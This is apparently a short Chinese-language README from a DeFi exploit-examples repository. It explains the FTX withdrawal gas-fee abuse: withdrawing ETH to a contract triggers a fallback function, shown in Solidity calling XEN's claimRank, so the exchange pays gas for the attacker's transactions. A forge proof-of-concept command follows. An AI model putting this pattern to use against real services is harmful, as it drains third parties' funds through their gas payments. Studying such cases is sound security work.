cryptothink629 / defiexploit-examples

FTX 提款 gasfee 利用

原因

FTX质押ftt每天可以免一定次数的ETH提现, FTX来付gas; 如果提款到合约, 会触发fallback, 在里边写你的业务逻辑, 比如交互 $XEN

fallback() external payable {
    // call xen
    Xen xen = Xen(0x06450dEe7FD2Fb8E39061434BAbCFC05599a6Fb8);
    xen.claimRank(1);
}

POC 复现

FTXExploitTest.t.sol

forge test --match-contract "MintControllerTest"  -vvv

欢迎加入Discord社区，一起玩耍，一起做开源项目: https://discord.gg/vujpgYnwWk